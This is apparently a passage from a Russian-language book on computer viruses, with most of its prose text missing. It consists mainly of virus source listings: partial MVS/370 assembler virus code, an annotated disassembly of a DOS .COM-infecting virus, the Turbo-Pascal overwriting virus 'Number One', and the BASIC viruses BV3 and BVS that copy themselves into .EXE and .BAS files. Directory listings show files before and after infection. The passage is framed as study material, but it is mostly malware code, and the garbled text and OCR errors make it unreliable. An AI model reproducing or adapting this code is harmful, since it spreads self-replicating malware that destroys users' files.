    B.Fix, Marienburger Str.1; 6900 Heidelberg-Kichheim

         . -    
     MVS/370   IBM  30,    
 OS/VS2       -
.
             
,      :
1.       :
     B.Fix
     Marienburgerst. 1
     6900 Heidelberg
2.            ,
               
       .
3.         .
4.          -
            -
      .
               -
   ,     
         
  .
         ,  .  VP/360:  "  
        -
       -
,         .  ,

                           - 194 -
        -
   IBM 30     MVS/370,  
,       
    ,      OS/VS2  
   .        "
"  ,       -
  :
     "          
,       -
,      -  -
  !          
         .
    ,  -
    ,          
 N 303,  ( ),  
 ".
             
.  ,     , 
            ;
       -
  -.
         , ..  -
        
-.   ""       
   -,     -
 .
           ,  
    " "     . 
     ,  -
   .      
-    ,    
,         : 
      -
,    !  
     ,     
     .
       ,      
 ,        -
, ..      .

                           - 195 -
       ,        
-,    .  
,        ,  
     ,      
      .    -
,     .
               ,
    .   
    "U.uid",    -
    .  ,   
   ,       -
  ( ).     -
           (
),        -
 .      ,  -
   .     -
 ,        -
   .    -
 ,   ,   -
   -.     -
,      ,       
 .     -  
    ,    
   .   ,   
                
.           "-
 "  .
          ,    
 ""   .   -
    ,    ,
  TSD (  ),    RLD
(  )       .   
  ,        
   .  ,    ,
     ,    
      ,            
.     .     ,
        -,  
       .

                           - 196 -
       -
   ,      -
         
,         .  
,          -
,       ,  
     .
         ,        
     ,    -
  ,    
   .      
           
;          
      ..
           
;       -
 .
       ,    -
,        .
         :
*****************************************************************
*     x  xxx  xxxxx   x    x   xxxx      IBM 3090,        *
*     x   x   x    x  x    x  x                   *
* x    x   x   x   x   x    x  x                   *
* x    x   x   xxxx    x    x   xxxx    MVS/370                 *
*  x  x    x   x  x    x    x       x                           *
*   xx    xxx  x   xx   xxxx   xxxxx                            *
*   Version 1,No Release !! (p) & (c) foxi, April 1987          *
* !                                                     *
* ,          *
*             *
*     N 303 StGB()*
* )!!!      -*
*  ,     ,  - *
*     . o ,  *
*       - *
*        () -*
*  .          *
*         -  *

                           - 197 -
* .         *
*    ,    , -  *
*    .                             *
****************************************************************
*
*
           START
VIRUS      CSECT
*
*
*            ""
*          
*---------------------------------------
*
           STM       R14,R12,12(R13)
           LR        R12,R15
           USING     VIRUS,R12
           LR        R2,R13
           LA        R13,SAVE
           ST        R2,4(R13)
           ST        R13,8(R2)
           B         COHT$0

SAVE       DS        18F                  

BASE       DC        F'0'                  
                                         
********************************************************
*
*               
*
*********************************************************
*
CONT$0     LA        R2,RLDINFO        
$16        L         R1,0(R2)          ...
           LA        R1,0(R1)        ...   
           AR        R1,R12          ,  3 .
           CLI       0(R2),X'0D'       =4 ?
           BE        $17             :--->

                           - 198 -
           BCTR      R1,0               1 
$17        ICM       R3,15,0(R1)      , -
           S         R3,BASE           4 ,  -
           STCM      R3,15,0(R1)         
                                     .
           LA        R2,4(R2)         
                                     
           CLI       0(R2),X'00'      ?
           BNE       $16              :---> * ...
           ST        R12,BASE          
           HVC       DATEI(96),DSAVE DB   
*********************************************************
*      
*********************************************************
*
*     
*--------------------------------------------------
*
           L         R1,540
           L         R1,I2(R1)
           MVC       FSPEC+2(3),0(R1)   
*
*       U.UID
*
           L         R0,CATLEN            
           GETMAIN   R,LV=(R0)          
           ST        R1,CATADDR        
           MVC       0(2,R1),=X'7FFF'  (32 )

           LA        R1,PARAM            
           LINK EPLOC=CATROUT           .  
                                       
           B         CONT$1
*
*
*        
*
*
CATROUT    DC        CL8'IKJEHCIR'

                           - 199 -
FSPEC      DC        C'U.???',83C' '
*                                        
           DS        OF

PARAM      DC        X'02000000'
           DC        A(FSPEC)            FSPEC
           DC        F'0'
CATADDR    DC        A(0)                
           DC        A'0'
CATLEN     DC        F'32768'            
           LTORG
---------------------------------------------------------------
                       VP/370
---------------------------------------------------------------
         ,        ,
   .    
,      , 
         62  
(  ,  " "    
,     ""   -
).
      ,  " "  -,  -
       PATH      .
 -     -
  -,     -
    100.

      ""      
,        .
    ,     (7  AND
)    0.
               
   600  (.),    -.  
 .   . ,    
      ,      
 .
          ,  -
 ,       -
.        15.3.

                           - 200 -
         .    -  ,
 .

****************************************************************
*     -                       1.00      *
*      , 1987,1988.        *
*                                         *
****************************************************************
--
                   -  v1.com
                (   )
           ------------------------------------
          <            ENTRY: 0100              >
           L------------------------------------
                           
             -------------------------------
       -<----  0100. JMP  0700             
            L-------------------------------
0103    xx  xx  xx  xx  xx  xx  xx  xx  xx  xx  xx
:                
:                    .- (0103-06ff)
:
06F0    xx  xx  xx  xx  xx  xx  xx  xx  xx  xx  xx
       
       L----->----------------
                              
              ----------------+-------------
               0700. PUSH  CX              
               0171. MOV   DX,08F9   DATA  
               0704. CLD                   
               0705. MOV   SI,DX           
               0707. ADD   SI,000A         
               0708. MOV   DI,0100         
               070E. MOV   CX,003          
               0711. REPZ                  
               0712. MOVSB                 
               0713. MOV   SI,DX            SI  
                                            08F9.
               0715. MOV   AH,30             

                           - 201 -
              L----------------T------------- MS_DOS
              -----------------+-------------
               0717. INT   21               (*UPRO*)
              L----------------T--------------
              -----------------+-------------
               0719. CMP   AL,00             =0?
              L----------------T--------------
              /----------------+-------------\
         -<--J: 071B. JNZ   0720               > DOS>2.0:-->
             \----------------T:N-----------/
             -----------------+-------------  =0, 
      -<-+---- 071D. JMP   08E7               . 
            L-------------------------------
        L->-------------------
             -----------------+-------------
              0720. PUSH  ES                 
              0721. MOV   AH,2F             DTA
             L----------------T--------------
             -----------------+-------------
              0723. INT    21              (*UPRO*)
             L----------------T--------------
             -----------------+--------------
               0725. MOV   SI+0000,BX         
               0729. MOV   SI+0002,ES        (08F9...08FC)
               072D. POP   ES                 
               072E. MOV   DX,005F          
                                             DTA   0958
               0731. NOP                    
               0732. ADD   DX,SI            
               0734. MOV   AH,1A            
             L----------------T---------------
             -----------------+--------------
               0736. INT   21               (*UPRO*)
             L----------------T---------------
             -----------------+--------------
               0738. PUSH  ES               
               0739. PUSH  SI               
               073A. MOV   ES,002C           ES:DI= 
               073E. MOV   DI,000             

                           - 202 -
             L--------------------------------
        -->-------------------
                             
            -----------------+---------------
             0741. POP   SI                 
             0742. PUSH  SI                 
             0743. ADD   SI,001A             SI=0913
                                             PATH=
             0747. LOOSB                     AL=(DX:SI)
             0748. MOV   CX,8000             . 
                                             32 
             074B. REPNZ                      AL 
                                              ES:DI
             074C. SCASB                    
             074D. MOV   CX,0004              4
            L----------------T---------------- :
     ------->------------------
           -----------------+---------------
            0750. LOOSB                       ?
            0751. SCASB                    
           L----------------T----------------
           /----------------+---------------\
       L<--J: 0752. JNZ   0741                 > : 
            \----------------T :N -----------/   
            /----------------+---------------\
     L---<--J: 0754. LOOP  0750                >  4 
             \----------------T :N------------/
             -----------------+---------------
              0756. POP   SI                   
              0757. POP   ES                   ()
              0758. MOV   [SI+0016],DI         090F
              075C. MOV   DI,SI              
              075E. ADD   DI,001F             DI=0918
              0762. MOV   BX,SI               BX=08F9
              0764. ADD   SI,001F             SI=0918
              0768. MOV   DI,SI              
             L----------------T----------------
             -----------------+---------------
       -<---- 076A. JMP   07A6               

                           - 203 -
            L---------------T-----------------
            ----------------+----------------
    ---->--- 076C. CMP   [SI+0016],0000       
           L---------------T----------------- ?
           /---------------+-----------------\
  ----<---J: 0771. JNZ   0776                 > :--->
          \---------------T :N--------------/
          ----------------+----------------
 ----<---- 0773. JMP   08D9                
         L--------------T------------------ .
 L-------->-----------------
          ---------------+-----------------
           0776. PUSH  DS                   -
           0777. PUSH  SI                   
           0778. ES:                      
           0779. MOV   DS,0               
           077D. MOV   DI,S               
           077F. ES:                      
           0780. MOV   SI,[0016]           (ES:DI)--->
                                            
           0784. ADD   DI,001F             (DS:SI) -
          L----------------T----------------   
 ------>-------------------                 
         -----------------+---------------
          0788. LOOSB                      
          0789. CMP   AL,3B               =";")
         L----------------T---------------- (
         /----------------+---------------\
----<---J: 078B. JZ  0797 :--->   > :---> 
        \----------------T :N------------/   
       ------------------+---------------  
         078D. CMP   AL,00                
       L-----------------T---------------- 
       /-----------------+---------------\
---<---J: 078F. JZ    0794                >
      \-----------------T :N------------/
      ------------------+--------------- 
        0791. STOSB                      
      L-----------------T----------------  (c-

                           - 204 -
      ------------------+---------------   0918)
L--<--- 0792. JMP   0788                  
       L-----------------T----------------
 L---->-------------------
        ---------------------------------- :
          0794. MOV   SI,0000              
        L-----------------T---------------- 
L------>-------------------                 
         ----------------------------------
          0797. POP   BX                   BX   08F9
                                           DS    CS
          0798. POP   DX                  
          0799. MOV   [BX+0016],SI          -
                                            .
          079D. CMP   CH,FF                
         L-----------------T----------------  "\"?
         /-----------------+---------------\
     <--J: 07A1. JZ    07A6                 > : --->
         \-----------------T :N------------/
         ------------------+---------------
          07A3. MOV   AL,5C                 
          07A5. STOSB                       "\".DI
         L-----------------T----------------
     L-->-------------------
          ------------------+---------------
           07A6. MOV   [BX+0018],DI         0911)=0918
           07AA. MOV   SI,BX               
           07AC. ADD   SI,0010              SI=0909
                                            *.COM
           07B0. MOV   CX,0006               
           07B3. REPZ                       : 
                                              
           07B4. MOVSB                     
           07B5. MOV   SI,BX               
           07B7. MOV   AH,4E               
           07B9. MOV   DX,001F             
           07BC. NOP                       
           07BD. ADD   DX,SI                DX=0918
                                            ()

                           - 205 -
           07BF. MOV  CX,0003               =R,H
          L-----------------T----------------  
          ------------------+---------------
           07C2. INT   21                  (*UPRO*)
          L-----------------T----------------
          ------------------+---------------
     -<--- 07C4. JMP   07CA                
         L-----------------T----------------
 ------>-------------------
        ------------------+---------------
         07C6. MOV   AH,4F                 
        L-----------------T---------------- .
        ------------------+---------------
         07C8. INT   21                 (*UPRO*)
        L-----------------T----------------
    L-->-------------------
         /-----------------+---------------\
    -<--J: 07CA. JNB   07CE                 >  ?
        \-----------------T :N------------/  :--->
        ------------------+---------------  
  L--<--- 07CC. JMP   076C                 
         L-----------------T----------------   -
     L-->-------------------                 
          ------------------+---------------
           07CE. MOV   AX,SI+0075            
                                             ""
           07D2. ADD   AL,1F                (31/30 )
                                            ---> ?
           07D4. CMP   AL,1F               
          L-----------------T----------------
         /------------------+---------------\
 ---<----J: 07D6. JZ     076C                > :--->
         \------------------T :N -----------/   
         -------------------+---------------  
          07D8.  CMP   [SI+0079],FA00       FA00? ( -
         L------------------T---------------- ...)
         /------------------+---------------\
 ---<---J:  07DE. JA    07C6                 > : 
         \------------------T :N------------/

                           - 206 -
         -------------------+---------------   
           07E0. CMP   [SI+0079],000A        000A? (
         L------------------T----------------   ...)
         /------------------+--------------\
 L----<---J: 07E5. JB     076C               > : 
          \------------------T :N-----------/  
          -------------------+---------------
           07E7. MOV   DI,[SI+0018]          DI---> 
           07EB. PUSH  SI                     
           07EC. ADD   SI,007D               
          L------------------T----------------
      -->--------------------
         -------------------+--------------
          07FD. LODSB                      
                                           
          07F1. STOSB                        
          07F2. CMP   AL,00               
         L------------------T---------------
         /------------------+--------------\
      L<--J:07F4. JNZ   07F0                 >
          \-----------------T :N------------/
          ------------------+---------------
           07F6. POP   SI                    
                                            
           07F7. MOV   AX,4300              
           07FA. MOV   DX,001F             
           07FD. NOP                       
           07FE. ADD   DX,SI               
          L-----------------T----------------
          ------------------+---------------
           0800. INT   21                  (*UPRO*)
          L-----------------T----------------
          ------------------+---------------
           0802. MOV   [SI+0008],CX          ,
           0806. MOV   AX,4301               
           0809. ADD   CX,FFFE              , -
           080D. MOV   DX,001F               
           0810. NOP                       
           0811. ADD   DX,SI               

                           - 207 -
          L-----------------T----------------
          ------------------+---------------
           08A3. INT    21                 (*UPRO*)
          L-----------------T----------------
         -------------------+---------------
          0815. MOV   AX,3D02                
          0818. MOV   DX,001F               / 
                                            
          0818. NOP                        
          0810. ADD   DX,SI                
         L------------------T----------------
         -------------------+---------------
          081E. INT    21                  (*UPRO*)
         L------------------T----------------
          /-----------------+---------------\
      -<-J:0820. JNB   0825                  >  --->
         \-----------------T :N------------/
         ------------------+---------------
   ---<-- 0822. JMP   08CA                  -
        L-----------------T---------------- -
     L-->------------------
        -------------------+---------------
         0825. MOV   BX,AX                  
         0827. MOV   AX,5700               
        L------------------T----------------
                           
    
        -------------------+---------------
         0824. INT    21                 (*UPRO*)
        L------------------T----------------
        -------------------+---------------
         0820. MOV    [SI+0004],CX          ,
                                          
         0830. MOV    [SI+0006],DX          
         0834. MOV    AH,2C                 
        L------------------T----------------
        -------------------+---------------
         0836. INT    21                  (*UPRO*)
        L------------------T----------------

                           - 208 -
        -------------------+---------------
         0838. ADD    DH,07                .=x0,X8,x9?
        L------------------T---------------- (x=0,...,5)
          /----------------+---------------\
     -<--J:083B. JNZ    084D                > :-->
         \----------------T :N------------/
       -------------------+---------------
        083D. MOV    AH,40                 5 ,
                                            
                                          0983,  .
         0836. MOV    CX,0005               -
                                           -
         0842. MOV    DX,SI                ?!)
         0844. ADD    DX,008A            
       L------------------T----------------
       -------------------+---------------
         0848. INT    21                 (*UPRO*)
       L------------------T----------------
       -------------------+--------------- 
 ----<-  084A. JM     08B1                " 
      L------------------T----------------  -
    L-->------------------                 "
       -------------------+---------------
        084D. MOV    AH,3F                  3
                                           
        084F. MOV    CX,0003              09E4-09E5
        0852. MOV    DX,000A             
        0855. NOP                        
        0856. ADD    DX,SI               
       L------------------T----------------
       -------------------+---------------
        0858. INT    21                (*UPRO*)
       L------------------T----------------
       /------------------+--------------\
 ---<- J:085A. JB     08B1                > ?
       \ -----------------T :N-----------/  :--->
       -------------------+---------------
        085C. CMP    AX,0003                3
       L------------------T---------------- ?

                           - 209 -
      /-------------------+--------------\
 ---< J: 085F. JNZ    08B1                > ? 
      \-------------------T :N ----------/  --->
                          
      --------------------+---------------
       0861. MOV    AX,4202                -
       0864. MOV    CX,0000                /
       0867. MOV    DX,00000                
      L-------------------T---------------- 
      --------------------+---------------
       086A. INT    21                  (*UPRO*)
      L-------------------T----------------
      /-------------------+--------------\
 ---<-J: 086C. JB     08B1                > :--->
      \-------------------T :N-----------/
      --------------------+--------------
       086E. MOV    CX,AX                DX:AX  
       0870. SUB    AX,0003             
       0873. MOV    SI+000E,AX           AX-3= 
                                         ---> 
       0877. ADD    CX,02F9               
                                         +2F9
       087B. MOV    DI,SI                DI  
                                         DATA
       087D. SUB    DI,01F7              (0701.MOV DX,...)
                                         DX,...)
       0881. MOV    DI,,CX              
       0883. MOV    AH,40                 .
       0885. MOV    CX,0288               .
       0888. MOV    DX,SI                DX=
                                          
       088A. SUB    DX,01F9              
      L------------------T----------------
      -------------------+---------------
       088E. INT    21                  (*UPRO*)
      L------------------T----------------
       /-----------------+---------------\
 ---<- J:0890. JB     08B1                 > ?--->
       \-----------------T :N------------/

                           - 210 -
      -------------------+----------------
       0892.  CMP    AX,0288               
      L------------------T-----------------   ?
       /-----------------+---------------\
 ---<- J:  0895.  JNZ  08B1               >  : --->
       \-----------------T :N------------/
      -------------------+---------------
       0897. MOV    AX,4200              
       089A. MOV    CX,0000                
       089D. MOV    DX,0000             
      L------------------T----------------
      -------------------+---------------
       08A0. INT    21                  (*UPRO*)
      L------------------T----------------
       /-----------------+--------------\
 ---<-J:08A2. JB     08B1                > ?--->
       \-----------------T :N-----------/
      -------------------+---------------
       08A4. MOV    AH,40                 
       08A6. MOV    CX,0003                
       08A9. MOV    DX,SI                 010H
       08AB. ADD    DX,000D             
      L------------------T----------------
      -------------------+---------------
       08AF. INT    21                  (*UPRO*)
      L------------------T----------------
 L------------------------
       -------------------+---------------
        08B1. MOV    DX,SI+0006            
                                           
                                          
        08B5. MOV    CX,,SI+0004         
        08B9. ADD    CX,FFE0             
        08BD. OR     CX,001F               -
        08C1. MOV    AX,5701               "31/30"
       L------------------T----------------
       -------------------+---------------
        08C4. INT    21                  (*UPRO*)
       L------------------T----------------

                           - 211 -
       -------------------+---------------
        08C6.  MOV    AH,3E                
       L------------------T----------------
       -------------------+---------------
        08C8. INT    21                  (*UPRO*)
       L------------------T----------------
   L--->-------------------
        -------------------+---------------
          08CA. MOV    AX,4301               
          08CC. MOV    CX,,SI+0008           
          08D1. MOV    DX,001F             
          08D4. NOP                        
          08D5. ADD    DX,SI               
         L------------------T----------------
         -------------------+---------------
          08D7. INT    21                  (*UPRO*)
         L------------------T----------------
        --------------------+---------------
         08D9. PUSH   DS                     
         08DA. MOV    AH,1A                  
         08DC. MOV    DX,,SI+0000           DTA
         08E0. MOV    DS,,SI+0002          
        L-------------------T----------------
        --------------------+---------------
         08E4. INT    21                   (*UPRO*)
        L-------------------T----------------
        --------------------+---------------
         08E6. POP    DS                   
        L-------------------T----------------
 L---->----------------------
         --------------------+---------------
          08E7.  POP    CX                     -
          08E8.  XOR    AX,AX                  
          08EA.  XOR    BX,BX                0100h
          08EC.  XOR    DX,DX               
          08EE.  XOR    SI,SI               
          08F0.  MOV    DI,0100             
          08F3.  PUSH   DI                  
          08F4.  XOR    DI,DI               

                           - 212 -
         L-------------------T----------------
         --------------------+---------------
          08F6. RET    FFFF                 (*LEAVE*)
         L------------------------------------
08F9   80   00   37   30;       DTA(
                            )
08FD  04  40  54  08    ;  /  
0901  23  00            ;  
0903  EB  08  18        ;  (100h - 102h)  COM-
0906  9  FD  05        ; 3   (JMP !)
0909  24  2E  43  4F  4D  00  [*.COM]
090F  1C  00            ;     
0911  40  78            ;    
0913  50  41  54  48  3D  [PATH=]
0918  44  45  4D  4F  55  4E  54  2E  43  4F  4D  00  [DEMOUNT.COM.]
      (  20  20  20  .. )
0958     xx  xx  ..     ; DTA -
0983  20  20  20  20  20


                           10.2   

         ,    -,  
            
    -. ,  
    ,         
  12 .        
  , -    ,  
   .
           -
-  .       
  " ".      
   ,    .
.

{
-----------------------------------------------------------------

Number One

                           - 213 -

This is a very primitiv computer virus.

HANDLE WITH CARE! ----------- demonstration ONLY!

     Number One infect all.COM-file in the CURRENT directory.
     A warning message and the infected file's name will be displayed.
     That  file has been overwritten with Number  One's  programm
     code and is not reconstructable!
     If  all file s are infected or no .COM-files  found,  Number
     One gives you a <Smile>.
     Files may be protected against infections of Number One by
     setting the READ ONLY attribute.
     Written 10.3.1987 by M.Vallen (Turbo-Pascal 3.01a)
     (c) 1987 by BrainLab
---------------------------------------------------------------------
}
{C-}
{U-}
{I-}          {  Do  not allow  an  user  Break, enable 10 check}
{--Constants----------------------------------------------------}
Const
  VirusSize = 12027;                  { Number One's code size }
  Warning   : String [42]             {        Warning massage }
            = 'This file has been infected by Number One's;

{--Type declaration----------------------------------------------}
Type
  DTARec    = Record                           { Date area for }
  DOSnext   : Array 1...21 of Byte;            {   file search }
  Attr      : Byte;
  FTime,
  FDate,
  FLsize,
  FHsize    : Integer;
  FullName  : Array 1...13 of Char;
  End;
  Registers = Record         {Register set useed for file search}
  Case Byte of

                           - 214 -
  1: ( AX, BX, CX, DX, BP, SI, DI, DS, ES,Flags: Integer);
  2: ( AL, AH, BL, BH, CL, CH, DL, DH          : Byte);
  End;
{--Variables------------------------------------------------------}
Var
  ProgramStart : Byte absolute Cseg: $180;                                                                       {Memory offset of program code}
                                               {Infection marker}

  MarkInfected : String 42 absolute Cseg: $180;
  Reg          : Register;                     {    Register set}
  DTA          : DTARec;                       {       Date area}

  Buffer       :Array [Byte] of Byte;      {          Date buffer}
  TestID       : String 42;          {To recognize infected files}
  UsePath      : String 66;                { Path to search files}
                                           {Length of search path}
  UsePathLength: Byte absolute UsePath;
  Go           : File;                     {       File to infect}
  B            : Byte;                     {                Used }

--Program code-------------------------------------------------------

Begin
  WriteLn(Warning);                      {Display Warning massage}
  GetDir(0,UsePath);                     {  Get current directory}

  if Post ('\', UsePath ) <>  UsePathLengt then
     UsePath:= UsePath + '\';
     UsePath:= UsePath + '*.COM';        {    Define  search mask}
     Reg.AH := $1A;                      {          Set date area}
     Reg.DS Seg(DTA);
     Reg.DX Ofs(DTA);
     MsDos(Reg);
     UsePath Succ(UsePathLength):=0; Path must end with =0
     Reg.AH := $4e;
     Reg.DS := Seg(UsePath);
     Reg.DX := Ofs(UsePath 1);
     Reg.CX :=$ff;                 {Set attribut to find ALL files}
     MsDos(Reg);                   { Find the first matching entry}

                           - 215 -
     If not Odd(Reg.Flags) Then    {      If a file  found then...}
        Repeat
          UsePath:=DTA.FullName;
          B      := Pos(#0,UsePath);
          If B> 0 Then
             Delete (UsePath,B,255);            {   Remove garbage}
             Assign(Go, UsePath);
             Reset(GO);
             If IOresult=0                      {If not error then}
               Begin
                    BlockRead(Go,Buffer,2);
                    Move(Buffer $80,TestID, 43);
                                 {Test if file is already infected}
                    If TestID<> Warning then    {     If not, then}
                      Begin
                         Seek(Go,0);
                                     {Mark file as infected and...}
                         MarkInfected:= Warning;
                                         {             Infected it}
                  BlockWrite(Go,PrograStart,Succ(VirusSize shr 7));
                         Close(Go);
                                         {  Say what has been done}
                         WriteLn(UsePath +' infected.');
                         Halt;           {... and HALT the program}
                      End;
                      Close(Go);
               End;
                  {The file has already been infected, search next}
               Reg.AH:=$4F;
               Reg.DS Seg(DTA);
               Reg.DX Ofs(DTA);
               MsDos(Reg)
                                    {... Until no more files found}
               Until Odd(Reg.Flags);
               Write('<Smile>');    {                 Give a smile}
End.

       .        ,
,     ,      

                           - 216 -
 ""  :

     (    .
       ! ---   !
     Number One    -  CURRENT!
            -
       .
               
     Number One     !
              -    ,
        "".
            
      " ".)

                       

           ,   -
   10.1. ,       
EXE-.  ,     ,  -
, -,    12  , -,  
   .        
 " ".
        -:

Katalog von A:\

DEBUG     COM   15611    4-22-85     12:00p
DISKCOM   COM    4121    4-22-85     12:00p
DISKCOPY  COM    4425    4-22-85     12:00p
                 3 Dateien 330752 Bytes frei
           :

Katalog von A:\

DEBUG     COM   15611    7-13-87      8:06p
DISKCOM   COM    4121    4-22-85     12:00p
DISKCOPY  COM    4425    4-22-85     12:00p
                 3 Dateien 330752 Bytes frei


                           - 217 -
     ,      ,    
      .    
,     .

Katalog von A:\

DEBUG     COM   15611    7-13-87      8:06p
DISKCOM   COM   12032    7-13-87      8:09p
DISKCOPY  COM    4425    4-22-85     12:00p
                 3 Dateien 32584 Bytes frei

     ,        -
    .       
"".

                     10.3   

            -
     ,  ,     ,
  .      -
   -.
          ,  -
      MS-DOS   
   -,     .
     ,     
   -,   
     VIRLENGTH ( -
)      .      
      .
 ,    -  -
 , , ,   APPEND   -
      
             SHELL
PRGname.
           .
          :

1.    BV3.EXE     .
2.        COMMAND.COM,     

                           - 218 -
       SHELL.
3.    LENGTHVIR ( )    
                (   
      ).
4.     Microsoft-Quick_basic   
      /.


10 REM *************************************************
20 REM ***        BV3.BAS       ***
30 REM ***  . 1987                       ***
40 REM *************************************************
50 ON ERROR GO TO 670
60 REM *** 
70 REM ***   
80 REM ***    
90 LENGTHVIR=2641
100 VIRROOT$="BV3.EXE"
110 REM ***     "INH"
120 REM ***  
130 SHELL "DIR *.exe inh"
140 REM ***   "INH"   
150 OPEN "R",1,"inh",32000
160 LINE INPUT#1, ORIGINAL$
170 LINE INPUT#1, ORIGINAL$
180 LINE INPUT#1, ORIGINAL$
190 LINE INPUT#1, ORIGINAL$
200 LINE INPUT#1, ORIGINAL$
210 ON ERROR GO TO 670
220 CLOSE = 2
230 F=1: LINE INPUT#1, ORIGINAL$
240 REM ** "%"-    BV3
250 REM *** "%"   :
260 REM ***    
270 IF MID$(ORIGINAL$,1,13) "%" THEN GO TO 210
280 ORIGINAL$= MID$(ORIGINAL$,1,13)
290 EXTENSION$=MID$(ORIGINAL$,9,13)
300 MID$(EXTENSION$,1,1)"."
310 REM ***     

                           - 219 -
320 F=F+1
330 IF  MID$(ORIGINAL$,F,1)=" " OR MID$(PROGONAL$,F,1)="."
    OR F=13 THEN GO TO 350
340 GO TO 320
350 ORIGINAL$= MID$(ORIGINAL$,1,F-1) + EXTENSION$
360 ON ERROR GO TO 210
365 TEST$=''
370 REM ***   
380 OPEN 'R',2, ORIGINAL$, LENGTHVIR
390 IF LOF(2) LENGTHVIR THEN GO TO 420
400 GET =2,2
410 LINE INPUT=2,TEST$
420 CLOSE
430 REM *** ,    
440 REM *** "%"    :
450 REM ***   
460 IF MID$(TEST$,2,1)="%"  THEN GO TO 210
470 CLOSE=1
480 ORIGINAL$=ORIGINAL$
490 MID$(ORIGINAL$,1,1)="%"
500 REM ***  "" 
510 C$="COPY"+ORIGINAL$+" "+ORIGINAL$
520 SHELL C$
530 REM ***    "" 
540 C$="COPY"+VIRROOT$+ORIGINAL$
550 SHELL C$
560 REM***   
570 OPEN ORIGINAL$ FOR APPEND AS =1 LEN=13
580 WRITE=1,ORIGINAL$
590 CLOSE=1
630 REM***  
640 PRINT "  ";ORIGINAL$;"! !
650 SYSTEM
660 REM***    
670 PRINT "VIRUS internal ERROR": SYSTEM

                     

              -

                           - 220 -
.   ,         ,
    .
        :

Katalog von A:\

SORT      EXE    1664    4-22-85     12:00p
SHARE     EXE    8304    4-22-85     12:00p
SUBST     EXE   16627    4-22-85     12:00p
BV3       EXE    2641    7-13-87      8:27p
                4 Dateien 325632 Bytes frei

        :

Katalog von A:\

SORT      EXE    2655    7-22-85      8:43p
SHARE     EXE    8304    4-22-85     12:00p
SUBST     EXE   16627    4-22-85     12:00p
BV3       EXE    2641    7-13-87      8:27p
INH               277    7-13-87      8:43p
%ORT      EXE    1664    4-22-85    12:00p
                6 Dateien 321536 Bytes frei

         INH,     -
  ,    %ORT.EXE. ,    "%",
       .
          
,           
.   "%"      , -
         ,
   ,   LENGTHVIR.
                   
.     ""       
  ,     "-
"  .

                10.4     


                           - 221 -
        -      
.      ,     
   ,      -
  .        
     ,   -
     .  , -
 -    8 () ,  
      ,  (  
   10.3    ) 
    S-DOS.
       ,      
DEBUG    EDLIN.       
  .


10.5      
       ,     
   ,   , 
   .   ""  -
      ,   -
     -
,   .    -
  ,     10.3.   
      , 
    .  -  
   .      
   - ,    
"9999 RUN"  "9999 STOP"   .    -
         -
.         
-.
     :
   9999     -
 .         -
   ,      .
      :
 9999       CR/LF,    
         APPEND.  (
 ,  CR/LF   DEBUG).

                           - 222 -
           ,  
     VIRLENGTH.  ,  -
,       ASCII -.
           
Microsoft-GW-BASIC  2.02   MS-DOS 3.1.   -
 ,  ,   -
  OPEN.

 10 REM ************************************************
 20 REM ***         BVS.BAS    ****
 30 REM ***  .   1987                  ****
 40 REM ************************************************
 50 REM
 60 REM ***  
 70 ON ERROR GOTO 670
 80 REM ***  LENGTHVIR   
 90 REM ***    
100 REM ***
110 LENGTHVIR=2691
120 VIRROOTS="BVS.bas"
130 REM *** C 
140 REM ***    INH
150 SHELL "DIR =.BAS INH"
160 REM ***   INH   
170 OPEN "R",1,"INH",32000
180 GET #1,1
190 LINE INPUT #1, OLDN AMES
200 LINE INPUT #1, OLDN AMES
210 LINE INPUT #1, OLDN AMES
220 LINE INPUT #1, OLDN AMES
230 ON ERROR GOTO 670
240 CLOSE #2
250 F=1:LINE INPUT #1,OLDN AMES





260 REM *** "%"   

                           - 223 -
270 REM *** "%"   :
280 REM ***    
290 IF MIDS(OLDNAMES;1,1)="%" THEN GOTO 230
300 OLDNAMES=MIDS(OLDNAMES,1,13)
310 EXTENSIONS=MIDS(OLDNAMES,9,13)
320 MIDS(EXTENSIONS,1,1)="."
330 REM ***       
340 F=F+1
350 IF MIDS(OLDNAMES,F,1)=" "  OR MIDS(OLDNAMES,F,1)="."  OR F=13
    THEN GOTO 370
360 GOTO 340
370 OLDNAMES=MIDS(OLDNAMES,1,F+1)+EXTENSIONS
380 ON ERROR GOTO 440
390 TESTS=""
400 REM ***   
410 OPEN "R",2,OLDNAMES,LENGTHVIR
415 IF LOF(2) LENGTHVIR THEN GOTO 440
420 GET #2,2
430 LINE INPUT=2,TESTS
440 CLOSE#2
450 REM *** ,    
460 REM *** "%"    :
470 REM ***   
480 IF MIDS(TESTS,1,1)="%" THEN GOTO 230
490 CLOSE#1
500 NEWNAMES=OLDNAMES
510 MIDS(NEWNAMES,1,1)="%"
520 REM ***  "" 
530 CS="copy "+OLDNAMES+NEWNAMES
540 SHELL CS
550 REM ***    "" 
560 CS="copy "+VIRROOTS+OLDNAMES
570 SHELL CS
580 REM ***      
590 OPEN OLDNAMES FOR APPEND AS =1 LEN=13
600 WRITE#1,NEWNAMES
610 CLOSE#1
620 REM ***  
630 PRINT " :" ;OLDNAMES;"  !"

                           - 224 -
640 REM ***   
650 GOTO 9999
660 REM ***    
670 PRINT"VIRUS internal ERROR":SYSTEM
680 REM ***   RUN  
690 REM ***  
700 REM ***   .  
710 REM ***    ,
720 REM ***    
730 REM *** .  "RUN"  
740 REM ***      CR/LF,
750 REM ***     
760 REM ***   APPEND  . CR/LF
770 REM ***     DEBUG.
9999 RUN


 

            
BAS.    ,      
ASCII    .     
"%"      .   
  .

   -:

Katalog von A:\

CALL         BAS           612         4-12-85          5:53
COMMAND      BAS           659         4-04-85          4:06
DEC          BAS           236         7-11-85          6:44
DEFFN        BAS           336         3-07-85          3:04
DIGIT        BAS           217         7-11-85          6:46
DRAW         BAS           681         4-19-85          4:03
KONVERT      BAS          3584         1-01-80         12:03
MAIN         BAS           180         7-11-85          6:45
PLAY         BAS           192         3-21-85          1:08
REDIM        BAS           439         4-13-85          3:15

                           - 225 -
BVS          BAS          2691         7-14-87          9:46
            11 DATEIEN        340992  BYTES frei

    :

Katalog von A:\

CALL         BAS           2704        7-14-87          9:53
COMMAND      BAS            659        4-04-85          4:06
DEC          BAS            256        7-11-85          6:46
DEFFN        BAS            336        3-07-85          3:04
DIGIT BAS  217  7-11-85 6:46 DRAW BAS 681 4-19-85
4:03 KONVERT BAS 3584 1-01-80 12:03 MAIN BAS 160
7-11-85 6:45 PLAY BAS 192 3-21-85 1:08 REDIM BAS
439 4-13-85 3:15 BVS BAS 2691 7-14-87  9:46  INH
605 7-14-87 9:53 %ALL BAS 612 4-12-85 5:53

     13  DATEIEN 336896 BYRES FREI

